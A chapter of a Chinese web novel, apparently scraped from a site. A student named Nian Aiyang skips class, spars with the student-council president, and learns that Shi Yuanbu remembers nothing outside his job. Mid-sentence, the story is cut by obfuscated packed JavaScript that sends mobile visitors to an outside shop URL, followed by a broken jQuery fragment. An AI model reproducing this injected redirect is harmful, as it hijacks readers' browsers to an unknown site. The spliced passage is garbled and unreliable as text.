“啊,没什么……就是要重修高素质课程而已。”
年爱阳心里咯噔一下,又把桌子往前推了推,发出咯吱的声音,又问道:“那……那……”
真要问了又问不出来什么,如果问是不是因为自己才李温文重修的,年爱阳在脑子里打了个旋,会不会又会让李温文觉得自己是那种一旦听到跟自己无关就松了一口气的人?
这样又会不会显得自己过于自私自利?
年爱阳那焦虑的脑子又启动了。
李温文看年爱阳半天说不出来什么话,便又道:“放心吧年爱阳,不是因为你的原因,我们去了校长办公室,主要是去商量了一下怎么和同学相处的问题,没提关于你的事情,至于我要重修高素质课,也是因为同学相处的问题,跟你没有关系。”
李温文是这么说的,表面上是把年爱阳摘干净了,但实际上,年爱阳心里仍然有个疙瘩,他在食堂跟黑甲乐嘶吼的那个事儿仍然没有公正的解决,就这么囫囵过去了。
年爱阳角色不太好,李温文拍了拍他的肩膀说:“放宽心,年爱阳,我已经重修过三次了,已经习以为常了。”
“三次?”
年爱阳纳闷,在他印象里李温文性子温和,已经尽自己最大努力去迎合高素质人守则了,就这么一个人都能被要求重修三次高素质课程……
这个高素质人守则比自己想象的要更加变态。
年爱阳没再多说什么,李温文也安安稳稳坐回去上课了。
如往常一样,当老师前脚尖刚迈进教室,年爱阳拿起外套就出去了。
出去的时候,好巧不巧迎面撞上了刚从校长办公室回来的黑甲乐以及蔡家康,年爱阳翻了个白眼,从他们旁边走过去。
黑甲乐开口道:“年爱阳同学,不要跑太远,今天晚上轮到你们小组值日了。”
“切,”年爱阳冷笑,“知道了,学生会会长,要不要你们快点回教室去上课呢?嘶……上课迟到这个事儿不知道有没有被写进高素质守则里面呢?”
黑甲乐把衣服口袋里的特别迟到书拿出来,竖在年爱阳面前,不用开口,年爱阳就已经知道了黑甲乐什么意思。
年爱阳尾调向上扬发出哦的声音,带着几分故意装出来的惊恐和谄媚,摆出了一个请的手势并说道:“哦~是我有眼不识泰山,会长大人快快请进~这有了特殊对待就是不一样啊,上课迟到有特别迟到书,在处理人际关系,随便定罪上还有自己给自己的特殊对待,真是了不起啊,大会长。”
年爱阳这副模样确实让黑甲乐心里恶心了一把,但面上并没有表现出来,黑甲乐沉着脸说:“李温文同学的行为违反了高素质守则。”
年爱阳只是笑笑,他现在并不太想和黑甲乐吵起来,点点头道:“你说是就是。”
黑甲乐脑子里鼓起来一个想要和年爱阳再次纠缠的气儿,但听完年爱阳这句话,这股气又全都泄出来了。
黑甲乐皱眉看着年爱阳,泄了的气成了窝在心里的火,他盯着年爱阳的这副贱嗖嗖的样子,满心的不是滋味。
“你难道不应该在教室里上课吗?”
时元卜来了,年爱阳刚想回过头去怼时元卜说自己难道不是一直都在逃课或者是逃课的路上吗?
结果刚回头一看,时元卜并没有盯着自己,而是看向了黑甲乐和蔡家康他们两个人。
呦呵?太阳打西边出来了。
黑甲乐解释了几句,但时元卜脸上没有任何表情,最后只给他们两个人一句:“回去上课。”
等那两个眼中钉从自己视线里面离开,年爱阳双手环抱在胸前,点点头表示对时元卜的赞同,嘴角还向下撇着藏着自己似笑非笑的表情,嘴上的语气有些揶揄说道:“你这个……被人附身了?你怎么不叨叨我了?”
时元卜扫了年爱阳一眼说:“叨叨你有用吗?”
好问题。
年爱阳憨憨笑了笑说:“哈哈……那确实没用。”
时元卜叹了口气,年爱阳倒是适应能力强,干脆拉上这个“小伙伴”一起去逃课得了。
年爱阳晃晃悠悠带着时元卜去了另一栋楼上的保洁用具室,既然黑甲乐说今天他们组值日,那自己就先去挑个趁手的工具。
虽然扫把拖把之类的教室里也有,但总没有保洁用具室里的新的好。
年爱阳熟门熟路打开这个常年不上锁的门,一阵尘土扬起来,通过对面窗户射/进来阳光看了个正好。
年爱阳在里面挑了个趁手的扫把,然后一屁股坐在积了一层薄灰的椅子上,看得时元卜表情复杂,犹豫着吐出来一句:“你……不擦擦吗?”
年爱阳大大咧咧:“擦啥?别把校服当个衣裳,当个抹布得了,而且还藏灰,长时间不洗除了屁股那边跟个镜子似的,其他的也没啥了。”
时元卜抿了抿嘴,虽然这句话就不讲卫生,但确实是事实。
两个人在这里也怪尴尬的,说不上什么话,年爱阳看着窗外不动的风景,时元卜依着门,低头盯着自己的鞋子。
年爱阳突然说:“你们那个重修高素质课,对毕业什么的有没有什么影响?”
时元卜回答道:“没有。”
年爱阳松了口气,喃喃了一句那就好,随后又问道:“那你上学的时候,重修过几次?”
时元卜愣了愣:“我吗?”
年爱阳:“对啊。”
“不知道。”
年爱阳被时元卜这句话弄得有些懵,他坐直了一些,盯着时元卜的脸说:“什么叫不知道?还是说你重修的次数太多了,你不好意思说?别介啊,你说呗,我又不会笑话你。”
“我真不知道。”时元卜脸色如常,又坚定地说了一次自己的答案。
年爱阳瞅着时元卜的脸,试图从上面找到一些在撒谎的破绽,但很显然,没有什么成效。
时元卜解释说:“我的记忆只有在我工作的时候,貌似没有其他的了……我记不起来我的学生时代,而且我记得我跟你说过,我记不起来关于我小时候的任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726195|207291||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
何事情了。”
年爱阳说:“那……那你爸妈呢?”
“爸妈?”时元卜顿了顿,“爸妈……是谁?我不知道。”
空气凝固了,时元卜不是个会撒谎的人,说出来的话也都是真的。
年爱阳又像是要确定一些什么,再次问道:“所以,你所有的记忆只有关于你工作的?你的同事,你的上司还有跟你工作有关的各种各样的人?”
时元卜点头:“差不多是这样。”
这是怎么一回事儿……
年爱阳心里纳闷,他盯着时元卜的脸看,看似是在看时元卜,但内心已经起了对这个世界的无限恐惧。
在此之前,年爱阳都以为这个世界只不过是极端化了一点或者是听不懂人话了一点,但现在,年爱阳觉得这个世界没有那么简单。
时间暂停了吗?难道每个人都被困在同一天里?
不对,那还有太阳的东升西落,还有每天的上学放学以及每天都有不同的事情。
如果只是卡在一个时间段里呢?
据年爱阳所知,李温文应该是跟着学校被统一安排在学生宿舍的。
如果真是这个假设,那又怎么能够解释李温文能够记得自己的父母以及自己是怎么入学的呢?
年爱阳觉得自己的大脑一阵头疼,他越发觉得这个世界透露着一些诡异了。
年爱阳对着时元卜问道:“那你为啥会当高素质人?这个你也没有印象了?”
时元卜说:“这个问题你也问过我了,我生下来就是高素质人,就是在这个岗位上的。”
年爱阳被时元卜这么一提醒才发现自己刚才脑袋确实木讷了一下子,怎么能重复问出来跟之前一样的问题。
年爱阳又问道:“那你们为啥会跟低素质人分为两个阵营啊?”
时元卜说:“……我不知道:”
年爱阳无语了:“不是,大哥,你别一问三不知啊,你真是搜查官还是假是搜查官啊?你难道不属于你们阵营的最能接触到核心的人员吗?”
时元卜说:“我从我有记忆起这个世界就是这个样子,所以我不知道,我也没有像你一样这么好奇去问。”
年爱阳叹了口气,这时元卜知道的关于这个世界的东西其实跟李温文不相上下,年爱阳说道:“那你们是怎么盯上我的,这你总得知道吧?”
“这个当然知道,是因为……”
“啪嗒——”
一阵开门声,吸引两个人纷纷回头看向门口。
一个穿着保洁人员工作服的人戴着帽子和口罩站在门口低着头,手搭在把手上,直愣愣地站在门口。
年爱阳站起来,跟在自己家一样,说道:“大爷进来拿东西啊?我们在这里聊个天,您随意。”
对面没有说话。
卧槽啊!!!!!!
为什么他们俩会在这里啊啊啊啊啊啊啊!!!
武厉不是静止不动了,是大脑在疯狂运转,让自己没办法支配自己的四肢。